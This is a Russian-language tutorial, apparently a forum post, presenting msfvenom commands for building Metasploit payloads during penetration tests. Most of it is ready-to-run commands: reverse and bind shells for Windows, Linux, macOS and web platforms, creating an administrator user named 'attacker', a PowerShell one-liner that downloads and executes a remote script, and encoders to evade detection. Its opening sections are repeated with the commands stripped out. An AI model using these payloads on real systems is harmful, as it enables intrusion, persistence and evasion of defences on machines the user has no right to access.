Msfvenom – это программа, которая комбинирует генерацию полезной нагрузки и кодирование. В настоящий момент данная утилита является частью фреймворка Metasploit. Полезной нагрузкой (payload) является код или часть фрагмент вредоносного кода, который непосредственно выполняет деструктивное действие: удаляет данные, шифрует данные, открывает подключение для хакера и т.д. Вредоносные программы также имеют overhead code (буквально «служебный код»), под которым понимается та часть кода, которая отвечает за доставку на атакуемую машину, самостоятельное распространения вредоносной программы или препятствует обнаружению. Важно понимать, что для атакующего payload это то, что необходимо доставить на узел жертвы, для того, чтобы реализовать атаку. Конечно, лучше всего, когда код полезной нагрузки написан самостоятельно, в таком случае меньше вероятность его обнаружения средствами защиты. Но при проведении пентеста это не всегда возможно, и в таком случае, для генерации готовых пейлоадов можно воспользоваться специальными инструментами, например фреймворком Metasploit.
Данный фреймворк уже содержит в себе множество различных инструментов для реализации различных атак, и с помощью утилиты Msfvenom можно без особых проблем быстро сгенерировать нужную полезную нагрузку.
Вот базовый формат команды утилиты msfvenom:
Здесь PAYLOAD это та самая полезная загрузка
ENCODER – это алгоритмы, с помощью которых можно попытаться скрыться от средств обнаружения.
FORMAT – форматы файлов, которые мы получаем на выходе, например exe, dll, elf.
ENCODE COUNT – количество итераций кодирования
LHOST – IP адрес узла, к которому нужно подключиться
Также, может использоваться ключ –a для указания нужной архитектуры
Посмотреть доступные полезные нагрузки можно с помощью:
Кодировщики с помощью:
А форматы с помощью:
Также, при генерации полезных нагрузок не стоит забывать о так называемых “плохих” байтах. Это байты, которые не должны использоваться в наших пейлоадах. Например, в случае, если в пейлоаде, передаваемом уязвимому приложению через параметр командной строки будет байт 0х00, то приложение решит что передача данных окончена и проигнорирует все байты, переданные после нулей. Аналогично, плохими байтами являются 0х0a и 0x0d, так как они используются для завершения строки и при построчном вводе, все последующие байты также будут отброшены.
Msfvenom нужно сообщить, какие байты являются плохими, для того, чтобы он не использовал их в сгенерированных пейлоадах. Сделать это можно с помощью параметра –b.
Например, для вышеупомянутых байтов значения этих параметров будут следующими:
На этом, полагаю, вводной теории по msfvenom будет достаточно и можно перейти непосредственно к полезностям.
безопасной распространенной пользовательской ОС Windows. При проведении пентеста обычно требуется проверить возможности по созданию удаленного канала связи в атакуемую сеть. Как правило, для этого используют реверс шелл, то есть соединение инициируется машиной жертвы. Для создания такого пейлоада выполним следующую команду. LHOST и LPORT это соответственно адрес и порт на машине атакующего, к которой будет выполняться подключение
Прямой шелл используется значительно реже, так как для него машина атакующего и жертвы должна находиться в одной сети.
В процессе закрепления в системе пентестеру может потребоваться создать нового пользователя, сделать это можно с помощью следующей команды:
Если нам необходимо добавить пользователя в группу администраторов, то для этого можно выполнить следующую команду:
Еще один способ внедрения в систему жертвы, это загрузка скриптов из внешних источников. В примере ниже мы создаем пейлоад, который после запуска открывает powershell, и с его помощью загружает с внешнего ресурса файл скрипта для последующего выполнения.
Для того, чтобы усложнить обнаружение, мы можем прибегнуть к помощи кодировщиков, как в примере ниже:
На этом мы завершим рассмотрение пейлоадов для Windows и посмотрим, как аналогичные задачи можно решить для Linux.
Здесь общий принцип построения команд аналогичен рассмотренyому ранее для прямого и обратного шелла. В качестве формата выходного файла у нас будет использоваться ELF.
Продолжая тему шеллов для операционных систем рассмотрим также пейлоады для MacOS.
В случае, если уязвимый ресурс использует Windows и ASP/x, то наш реверс шелл почти ничем не будет отличаться от приведенных ранее примеров для ОС Windows:
Множество веб ресурсов используют NodeJS и здесь в общем случае для нашего пейлоада не потребуется никакой выходной формат
По сути все три команды будут идентичны:
Данный фреймворк уже содержит в себе множество различных инструментов для реализации различных атак, и с помощью утилиты Msfvenom можно без особых проблем быстро сгенерировать нужную полезную нагрузку.
Вот базовый формат команды утилиты msfvenom:
Код:
msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>
ENCODER – это алгоритмы, с помощью которых можно попытаться скрыться от средств обнаружения.
FORMAT – форматы файлов, которые мы получаем на выходе, например exe, dll, elf.
ENCODE COUNT – количество итераций кодирования
LHOST – IP адрес узла, к которому нужно подключиться
Также, может использоваться ключ –a для указания нужной архитектуры
Посмотреть доступные полезные нагрузки можно с помощью:
Код:
msfvenom -l payloads
Кодировщики с помощью:
Код:
msfvenom -l encoders
А форматы с помощью:
Код:
msfvenom -l formats
Также, при генерации полезных нагрузок не стоит забывать о так называемых “плохих” байтах. Это байты, которые не должны использоваться в наших пейлоадах. Например, в случае, если в пейлоаде, передаваемом уязвимому приложению через параметр командной строки будет байт 0х00, то приложение решит что передача данных окончена и проигнорирует все байты, переданные после нулей. Аналогично, плохими байтами являются 0х0a и 0x0d, так как они используются для завершения строки и при построчном вводе, все последующие байты также будут отброшены.
Msfvenom нужно сообщить, какие байты являются плохими, для того, чтобы он не использовал их в сгенерированных пейлоадах. Сделать это можно с помощью параметра –b.
Например, для вышеупомянутых байтов значения этих параметров будут следующими:
Код:
-b "\x00\x0a\x0d"
Полезности для различных ОС
Начнем с рассмотрения разных полезных команд для самой
Код:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
Прямой шелл используется значительно реже, так как для него машина атакующего и жертвы должна находиться в одной сети.
Код:
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
В процессе закрепления в системе пентестеру может потребоваться создать нового пользователя, сделать это можно с помощью следующей команды:
Код:
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
Если нам необходимо добавить пользователя в группу администраторов, то для этого можно выполнить следующую команду:
Код:
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators attacker /add" -f exe > pay.exe
Еще один способ внедрения в систему жертвы, это загрузка скриптов из внешних источников. В примере ниже мы создаем пейлоад, который после запуска открывает powershell, и с его помощью загружает с внешнего ресурса файл скрипта для последующего выполнения.
Код:
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
Для того, чтобы усложнить обнаружение, мы можем прибегнуть к помощи кодировщиков, как в примере ниже:
Код:
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
На этом мы завершим рассмотрение пейлоадов для Windows и посмотрим, как аналогичные задачи можно решить для Linux.
Здесь общий принцип построения команд аналогичен рассмотренyому ранее для прямого и обратного шелла. В качестве формата выходного файла у нас будет использоваться ELF.
Код:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
Код:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
Код:
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
Продолжая тему шеллов для операционных систем рассмотрим также пейлоады для MacOS.
Код:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
Код:
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho
Полезности для веб
Иногда уязвимости на веб ресурсах позволяют выполнить произвольный код и в таких случаях на помощью пентестеру приходят пейлоады для различных языков веб разработки. Например, если мы хотим организовать реверсивный шелл с помощью php скрипта, то нам необходимо выполнить следующую команду:
Код:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
В случае, если уязвимый ресурс использует Windows и ASP/x, то наш реверс шелл почти ничем не будет отличаться от приведенных ранее примеров для ОС Windows:
Код:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
Код:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx
Множество веб ресурсов используют NodeJS и здесь в общем случае для нашего пейлоада не потребуется никакой выходной формат
Код:
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
Скриптовые языки
Завершая тему полезностей для msfvenom рассмотрим генерацию пейлоадов для основных скриптовых языков: Perl, Python и Bash.По сути все три команды будут идентичны:
Код:
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
Код:
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
Код:
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh